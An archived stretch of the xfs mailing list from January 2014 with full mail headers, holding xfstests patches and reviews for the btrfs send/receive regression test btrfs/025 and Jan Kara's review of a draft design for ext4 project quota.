bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/27/2014 08:40 PM, Filipe David Borba Manana wrote: > Btrfs incremental send had an issue where it would detect a non-existent > file hole and then overwrite the file section that hole covers with zeroes, > overriding file data that it shouldn't. > > The respective btrfs kernel patch that fixed this issue is titled: > > Btrfs: fix send file hole detection leading to data corruption > (https://patchwork.kernel.org/patch/3544831/) > > Signed-off-by: Filipe David Borba Manana <fdmanana@gmail.com> > Thanks for this Reviewed-by: Josef Bacik <jbacik@fb.com> Josef From prvs=7105c7d705=jbacik@fb.com Tue Jan 28 08:33:14 2014 Return-Path: <prvs=7105c7d705=jbacik@fb.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 272297F86 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 08:33:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 05FE2304032 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 06:33:10 -0800 (PST) X-ASG-Debug-ID: 1390919590-04cb6c7509192f50001-NocioJ Received: from mx0b-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id PLpE7rzutHF5JpC7 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 06:33:10 -0800 (PST) X-Barracuda-Envelope-From: prvs=7105c7d705=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004060 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s0SEUcRH006947; Tue, 28 Jan 2014 06:33:08 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=DaRgmokfQJNr0hnAAFalVOtjinYXw1WDJKD3UtxzpxE=; b=PkvqfO1Pm+icR6nIY9k2O4jEk33ySbce4afG3vhwuba3475Q8ufkAFe82vQEmAo0xkU4 k2DrMqelMFPaMpCjke8jC0XzoSHFUUEhyBMi8NT+wR/I9TMshnyytf8XKDG06XPho6+e gnqhYSFb7sSXL+qte+kXXQFvSycXx5gVsfs= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0b-00082601.pphosted.com with ESMTP id 1hp4behgd6-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Tue, 28 Jan 2014 06:33:08 -0800 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.13) with Microsoft SMTP Server (TLS) id 14.3.174.1; Tue, 28 Jan 2014 06:33:05 -0800 Message-ID: <52E7BFA0.4040204@fb.com> Date: Tue, 28 Jan 2014 09:33:04 -0500 From: Josef Bacik <jbacik@fb.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Filipe David Borba Manana <fdmanana@gmail.com>, <xfs@oss.sgi.com> CC: <linux-btrfs@vger.kernel.org> Subject: Re: [PATCH] xfstests: test btrfs send issue with non-aligned clone operations References: <1389476202-19683-1-git-send-email-fdmanana@gmail.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: test btrfs send issue with non-aligned clone operations In-Reply-To: <1389476202-19683-1-git-send-email-fdmanana@gmail.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-01-28_05:2014-01-28,2014-01-28,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=1.23134835661176e-12 kscore.compositescore=0 circleOfTrustscore=834.433483666948 compositescore=0.533125042697551 urlsuspect_oldscore=0.533125042697551 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=1996008 rbsscore=0.533125042697551 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1401280064 X-FB-Internal: deliver X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1390919590 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/11/2014 04:36 PM, Filipe David Borba Manana wrote: > Test for an issue in btrfs send where it sent clone operations to user > space with a range (offset + length) that was not aligned with the block > size. This caused the btrfs receive command to send such clone operations > to the ioctl clone API, which would return -EINVAL errors to btrfs receive, > causing the receive command to abort immediately. > > This corresponding btrfs linux kernel patch that fixes this issue is at: > > https://patchwork.kernel.org/patch/3470401/ > > Signed-off-by: Filipe David Borba Manana <fdmanana@gmail.com> > --- > tests/btrfs/025 | 98 +++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/025.out | 18 ++++++++++ > tests/btrfs/group | 1 + > 3 files changed, 117 insertions(+) > create mode 100755 tests/btrfs/025 > create mode 100644 tests/btrfs/025.out > > diff --git a/tests/btrfs/025 b/tests/btrfs/025 > new file mode 100755 > index 0000000..5f13832 > --- /dev/null > +++ b/tests/btrfs/025 > @@ -0,0 +1,98 @@ > +#! /bin/bash > +# FS QA Test No. btrfs/025 > +# > +# Test for an issue in btrfs send where it sent clone operations to user > +# space with a range (offset + length) that was not aligned with the block > +# size. This caused the btrfs receive command to send such clone operations > +# to the ioctl clone API, which would return -EINVAL errors to btrfs receive, > +# causing the receive command to abort immediately. > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +tmp=`mktemp -d` > + > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + rm -fr $tmp > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > +_supported_fs btrfs > +_supported_os Linux > +_require_scratch > +_need_to_be_root > + > +rm -f $seqres.full > + > +_scratch_mkfs >/dev/null 2>&1 > +_scratch_mount > + > +$XFS_IO_PROG -f -c "truncate 819200" $SCRATCH_MNT/foo | _filter_xfs_io > +$BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT | _filter_scratch > + > +$XFS_IO_PROG -c "falloc -k 819200 667648" $SCRATCH_MNT/foo | _filter_xfs_io > +$BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT | _filter_scratch > + > +$XFS_IO_PROG -f -c "pwrite 1482752 2978" $SCRATCH_MNT/foo | _filter_xfs_io > +$BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT | _filter_scratch > + > +$BTRFS_UTIL_PROG subvol snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 | \ > + _filter_scratch > + > +$XFS_IO_PROG -f -c "truncate 883305" $SCRATCH_MNT/foo | _filter_xfs_io > +$BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT | _filter_scratch > + > +$BTRFS_UTIL_PROG subvol snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 | \ > + _filter_scratch > + > +$BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap 2>&1 | _filter_scratch > +$BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ > + -f $tmp/2.snap 2>&1 | _filter_scratch > + > +md5sum $SCRATCH_MNT/foo | _filter_scratch > +md5sum $SCRATCH_MNT/mysnap1/foo | _filter_scratch > +md5sum $SCRATCH_MNT/mysnap2/foo | _filter_scratch > + > +_scratch_unmount > +_check_btrfs_filesystem $SCRATCH_DEV > +_scratch_mkfs >/dev/null 2>&1 > +_scratch_mount > + > +$BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap > +md5sum $SCRATCH_MNT/mysnap1/foo | _filter_scratch > + > +$BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap > +md5sum $SCRATCH_MNT/mysnap2/foo | _filter_scratch > + > +_scratch_unmount > +_check_btrfs_filesystem $SCRATCH_DEV > + > +status=0 > +exit > diff --git a/tests/btrfs/025.out b/tests/btrfs/025.out > new file mode 100644 > index 0000000..aaad4ab > --- /dev/null > +++ b/tests/btrfs/025.out > @@ -0,0 +1,18 @@ > +QA output created by 025 > +FSSync 'SCRATCH_MNT' > +FSSync 'SCRATCH_MNT' > +wrote 2978/2978 bytes at offset 1482752 > +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) > +FSSync 'SCRATCH_MNT' > +Create a readonly snapshot of 'SCRATCH_MNT' in 'SCRATCH_MNT/mysnap1' > +FSSync 'SCRATCH_MNT' > +Create a readonly snapshot of 'SCRATCH_MNT' in 'SCRATCH_MNT/mysnap2' > +At subvol SCRATCH_MNT/mysnap1 > +At subvol SCRATCH_MNT/mysnap2 > +129b8eaee8d3c2bcad49bec596591cb3 SCRATCH_MNT/foo > +42b6369eae2a8725c1aacc0440e597aa SCRATCH_MNT/mysnap1/foo > +129b8eaee8d3c2bcad49bec596591cb3 SCRATCH_MNT/mysnap2/foo > +At subvol mysnap1 > +42b6369eae2a8725c1aacc0440e597aa SCRATCH_MNT/mysnap1/foo > +At snapshot mysnap2 > +129b8eaee8d3c2bcad49bec596591cb3 SCRATCH_MNT/mysnap2/foo Same feedback as earlier, don't rely on the output from btrfs send, just use run_check. Thanks, Josef From jack@suse.cz Tue Jan 28 08:35:21 2014 Return-Path: <jack@suse.cz> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 535FE7F88 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 08:35:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4010E8F8037 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 06:35:18 -0800 (PST) X-ASG-Debug-ID: 1390919715-04cbb05bac1ad5d0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id yMiH11kZREfgv8XV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 06:35:16 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 71D87AC7B; Tue, 28 Jan 2014 14:35:15 +0000 (UTC) Received: by quack.suse.cz (Postfix, from userid 1000) id 8B26780EA0; Tue, 28 Jan 2014 15:35:14 +0100 (CET) Date: Tue, 28 Jan 2014 15:35:14 +0100 From: Jan Kara <jack@suse.cz> To: Zheng Liu <gnehzuil.liu@gmail.com> Cc: linux-ext4 <linux-ext4@vger.kernel.org>, linux-fsdevel <linux-fsdevel@vger.kernel.org>, xfs@oss.sgi.com, Theodore Ts'o <tytso@mit.edu>, Andreas Dilger <adilger.kernel@dilger.ca>, Jan Kara <jack@suse.cz>, Dmitry Monakhov <dmonakhov@openvz.org>, Li Xi <pkuelelixi@gmail.com>, Dave Chinner <david@fromorbit.com>, Ben Myers <bpm@sgi.com> Subject: Re: [RFC] A draft for making ext4 support project quota Message-ID: <20140128143514.GB13676@quack.suse.cz> X-ASG-Orig-Subj: Re: [RFC] A draft for making ext4 support project quota References: <20140128064248.GA8653@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140128064248.GA8653@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1390919716 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144563 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Tue 28-01-14 14:42:49, Zheng Liu wrote: > Hi all, > > Here is a draft about ext4 project quota. After discussed in another > thread [1], I believe that we have reached a consensus for supporting > project quota in ext4 and keep consistency with xfs. Thus I write this > draft. As always, comments, suggestions and ideas are welcome. > > 1. http://www.spinics.net/lists/linux-ext4/msg41275.html > > Ext4 Project Quota (ver. 0.10) > > Goal > ==== > > The goal is to make ext4 support project quota which keeps the same > behaviour with xfs. After adding this new feature, we can support > directory quota based on it. > > Background > ========== > > The project quota is a quota mechanism can be used to implement a form > of directory tree quota, where a specified directory and all of the > files and subdirectories below it (i.e. a tree) can be restricted to > using a subset of the available space in the filesystem [2]. > > *Note* > Project quota is not directory quota. Project quota is an aggregation > of unrelated inodes with the same id (e.g. project id). That means that > some directories without the common parent directory could have the same > id and are accounted as the same quota. > > Currently xfs has supported project quota several years, and has a mature > interface to manage project quota on kernel and userspace side. After > discusstion we believe that we should use the same quota API for project > quota on ext4. Now xfs_quota (userspace tool for managing xfs quota) is > used to get/set/check project id, which communicates with kernel via > ioctl(2). For quota management, xfs_quota uses Q_X* via quotactl(2) to > manipulate quota. A XFS_DIFLAG_PROJINHERIT flag is defined in xfs to > mark a directory that new file and direcotry created in this directory > will get marked with this flag. > > For project quota, the key issue is how to handle link(2)/rename(2). We > summarize the behaviour in xfs as following. > > *Note* > + unaccounted dir > x accounted dir > > link(2) > ------- > + x > + ok error (EXDEV) > x ok error (EXDEV) > > rename(2) > --------- > + x > + ok ok > x wrong ok So moving unaccounted file/dir into an accounted dir would be OK? How is that? > Further, project quota *cannot* be used with group quota at the same time. > On the other hand user quota and project quota can be used simultaneously. There's no fundamental reason for this and XFS folks actually recently worked to remove this limitation. I don't think we should carry it over to ext4. > 2. http://xfs.org/index.php/XFS_FAQ#Q:_Quota:_What.27s_project_quota.3F > > Design > ====== > > Project id > ---------- > We have two options to store project id in inode. a) define a new member > in ext4_inode structure; b) store project id in xattr. > > Option a) > Pros: > * Only need 4 bytes if we use a '__le32' type to store it > > Cons: > * Needs to change disk layout of ext4 inode > > Option b) > Pros: > * Don't need to change disk layout > > Cons: > * Take 24 bytes Cons of the b) is also that it's somewhat messier to get / set project id from kernel. So I'm more in favor of a). I even think we could introduce the additional id rather seamlessly using i_extra_i_size but I have to have a look into details. Anyway I guess we can talk about the options at LSF. > Here I propose to use option *b)* because it is easy for us to support > project id and we don't need to worry about changing disk layout. But > I raise another issue here. Now inline_data feature has been applied. > After waiting inline_data feature stable, we'd better enable inline_data > feature by default when we create a new ext4 file system. Now the inode > size is 256 bytes by default, we have 72 bytes extra size to store > inline data: > 256 (default inode size) - > 156 (ext4_inode) + 4 (ext4_xattr_ibody_header) + > 20 (ext4_xattr_entry) + 4 (value) = 72 > > If we store project id in xattr, we just leave 48 bytes for inline data. > I am not sure whether or not it is too small for some users. > > When we store project id in xattr, we will use {get,set}fattr to get/set > project id. Thus we don't need to change userspace tool to manipulate > project id. Meanwhile a _INHERENT flag for inode needs to be defined to > indicate that new directory creating in a directory with this flag will > get the same project id and get marked with this flag. > > Project quota API > ----------------- > For keeping consistency with xfs, here I propose to use Q_X* flag to > communicate with kernel via quotactl(2) as we discussed. Due to this we > need to define some callback functions to support Q_X* flag. That means > that ext4 will support two quota flag sets for being compatible with > legacy userspace tools and use the same quotactl API to communicate with > kernel for project id like xfs. We can as well extend current VFS API to cover also project quotas. That would make things somewhat more logical from userspace POV. > Currently quota subsystem in vfs doesn't handle project quota. Thus we > need to make quota subsystem handle project id properly (e.g. > dquot_transfer, dquot_initialize). We need to define a new callback > function in order to get project id. Now in vfs we can access uid/gid > directly from inode, but we have no way to get project id. A generic > callback function is defined to handle uid/gid. The file system itself > can handle project id. Until now only ext4 needs to implement this > callback function by itself because xfs doesn't use vfs quota subsystem. So we need to get ids from external structures only in two places. One is dquot_initialize() and the other is dquot_transfer(). Instead of providing callback to get project id, we could just create a variant of these functions which will get required ids from a passed array instead of directly from the inode. > For handling link(2)/rename(2) like xfs, we only allow hard link or > rename operation when the project ids are the same. Otherwise we will > return EXDEV error to notify the user. > > Quota-tools > ----------- > Now quota-tools (e.g. quotaon, edquota, etc...) don't support project > quota. Thus we need to make it support project id. I believe that Li > Xi did some works on quota-tools. > > E2fsprogs > --------- > After supporting project quota, we need to change e2fsck(1) to make sure > that all sub-directories with _INHERENT flag have the same project id. > Meanwhile we need to make chattr(1) set/clear _INHERENT flag. Honza -- Jan Kara <jack@suse.cz> SUSE Labs, CR From fdmanana@gmail.com Tue Jan 28 08:47:03 2014 Return-Path: <fdmanana@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0A77A7F8A for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 08:47:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 953FFAC012 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 06:46:59 -0800 (PST) X-ASG-Debug-ID: 1390920416-04cbb05bab1ae410001-NocioJ Received: from mail-ee0-f43.google.com (mail-ee0-f43.google.com [74.125.83.43]) by cuda.sgi.com with ESMTP id 7ERHh7dDp2rZEziR (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 06:46:57 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.83.43 Received: by mail-ee0-f43.google.com with SMTP id c41so280818eek.16 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 06:46:56 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=uNGx9wNVOtIjn8ytGvBo6Fpx9hy8DVaxYTOi9nXxuRw=; b=fRvlIdeeWdB9bPHYRuxxPETEnxxtla/AA8ST2FB0wLvCTlj38QV39RsZbz//2MRSTc 1DdAQ4WcwI4LZJcoxe9SDLLh8DwRj4G5Mp7wXKD1AbN/vXA/ndz+Mu7gEyHO+QrEU7wU nuyOPAyv76hOMAAeBsPwQNlPsvHTQpKaT4czHTF/ci/IJJ3k1JrfLIwIY3XpzL8H4yf7 Ir2/n9e4kSqfVUF+6yiBXj3AP3bgN12twuQNRqml2IoGh5q64FyM0R3B9RBIa1V+kz7T tsAX7b/pF6B4rtSx2uJvYL47mMz0c78aNPtpON4w/HtW/3KF/N826YxHA6NzQ1OwjOyW CXyQ== X-Received: by 10.14.95.134 with SMTP id p6mr2180510eef.73.1390920416401; Tue, 28 Jan 2014 06:46:56 -0800 (PST) Received: from storm-desktop.lan (bl9-171-228.dsl.telepac.pt. [85.242.171.228]) by mx.google.com with ESMTPSA id n7sm56453282eef.5.2014.01.28.06.46.52 for <multiple recipients> (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 28 Jan 2014 06:46:55 -0800 (PST) From: Filipe David Borba Manana <fdmanana@gmail.com> To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com, Filipe David Borba Manana <fdmanana@gmail.com> Subject: [PATCH] xfstests: make test btrfs/025 more robust Date: Tue, 28 Jan 2014 14:46:36 +0000 X-ASG-Orig-Subj: [PATCH] xfstests: make test btrfs/025 more robust Message-Id: <1390920396-20311-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-ee0-f43.google.com[74.125.83.43] X-Barracuda-Start-Time: 1390920417 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144563 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Make the test btrfs/025 not depend on the output of the btrfs tools subvolume, send, receive and filesystem commands output. The output of these commands has changed several times in the past, and it can change again in the future. Therefore just test for failure/success and not for the exact output on the success case. Signed-off-by: Filipe David Borba Manana <fdmanana@gmail.com> --- tests/btrfs/025 | 34 +++++++++++++++++----------------- tests/btrfs/025.out | 12 ------------ 2 files changed, 17 insertions(+), 29 deletions(-) diff --git a/tests/btrfs/025 b/tests/btrfs/025 index 482467f..01b1f86 100755 --- a/tests/btrfs/025 +++ b/tests/btrfs/025 @@ -54,27 +54,27 @@ rm -f $seqres.full _scratch_mkfs >/dev/null 2>&1 _scratch_mount -$XFS_IO_PROG -f -c "truncate 819200" $SCRATCH_MNT/foo | _filter_xfs_io -$BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT | _filter_scratch +run_check $XFS_IO_PROG -f -c "truncate 819200" $SCRATCH_MNT/foo +run_check $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT -$XFS_IO_PROG -c "falloc -k 819200 667648" $SCRATCH_MNT/foo | _filter_xfs_io -$BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT | _filter_scratch +run_check $XFS_IO_PROG -c "falloc -k 819200 667648" $SCRATCH_MNT/foo +run_check $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT -$XFS_IO_PROG -f -c "pwrite 1482752 2978" $SCRATCH_MNT/foo | _filter_xfs_io -$BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT | _filter_scratch +run_check $XFS_IO_PROG -c "pwrite 1482752 2978" $SCRATCH_MNT/foo +run_check $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT -$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 | \ - _filter_scratch +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap1 -$XFS_IO_PROG -f -c "truncate 883305" $SCRATCH_MNT/foo | _filter_xfs_io -$BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT | _filter_scratch +run_check $XFS_IO_PROG -c "truncate 883305" $SCRATCH_MNT/foo +run_check $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT -$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 | \ - _filter_scratch +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap2 -$BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap 2>&1 | _filter_scratch -$BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ - -f $tmp/2.snap 2>&1 | _filter_scratch +run_check $BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +run_check $BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap 2>&1 md5sum $SCRATCH_MNT/foo | _filter_scratch md5sum $SCRATCH_MNT/mysnap1/foo | _filter_scratch @@ -85,10 +85,10 @@ _check_btrfs_filesystem $SCRATCH_DEV _scratch_mkfs >/dev/null 2>&1 _scratch_mount -$BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap md5sum $SCRATCH_MNT/mysnap1/foo | _filter_scratch -$BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap md5sum $SCRATCH_MNT/mysnap2/foo | _filter_scratch _scratch_unmount diff --git a/tests/btrfs/025.out b/tests/btrfs/025.out index aaad4ab..9921aea 100644 --- a/tests/btrfs/025.out +++ b/tests/btrfs/025.out @@ -1,18 +1,6 @@ QA output created by 025 -FSSync 'SCRATCH_MNT' -FSSync 'SCRATCH_MNT' -wrote 2978/2978 bytes at offset 1482752 -XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) -FSSync 'SCRATCH_MNT' -Create a readonly snapshot of 'SCRATCH_MNT' in 'SCRATCH_MNT/mysnap1' -FSSync 'SCRATCH_MNT' -Create a readonly snapshot of 'SCRATCH_MNT' in 'SCRATCH_MNT/mysnap2' -At subvol SCRATCH_MNT/mysnap1 -At subvol SCRATCH_MNT/mysnap2 129b8eaee8d3c2bcad49bec596591cb3 SCRATCH_MNT/foo 42b6369eae2a8725c1aacc0440e597aa SCRATCH_MNT/mysnap1/foo 129b8eaee8d3c2bcad49bec596591cb3 SCRATCH_MNT/mysnap2/foo -At subvol mysnap1 42b6369eae2a8725c1aacc0440e597aa SCRATCH_MNT/mysnap1/foo -At snapshot mysnap2 129b8eaee8d3c2bcad49bec596591cb3 SCRATCH_MNT/mysnap2/foo -- 1.7.9.5 From prvs=7105c7d705=jbacik@fb.com Tue Jan 28 08:52:09 2014 Return-Path: <prvs=7105c7d705=jbacik@fb.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5EFDB7F8A for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 08:52:09 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 47316304032 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 06:52:09 -0800 (PST) X-ASG-Debug-ID: 1390920727-04cbb05bac1aeac0001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0a-00082601.pphosted.com [67.231.145.42]) by cuda.sgi.com with ESMTP id O33POTfHkTMBv0rV for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 06:52:08 -0800 (PST) X-Barracuda-Envelope-From: prvs=7105c7d705=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.145.42 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] Received: from pps.filterd (m0044012 [127.0.0.1]) by mx0a-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s0SEq6vJ014007; Tue, 28 Jan 2014 06:52:06 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] X-Barracuda-IPDD: Level2 [fb.com/67.231.145.42] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=tj+XyQUaJKylQslpo1t9nZYdhDfJDgt+0OA4kxMAprk=; 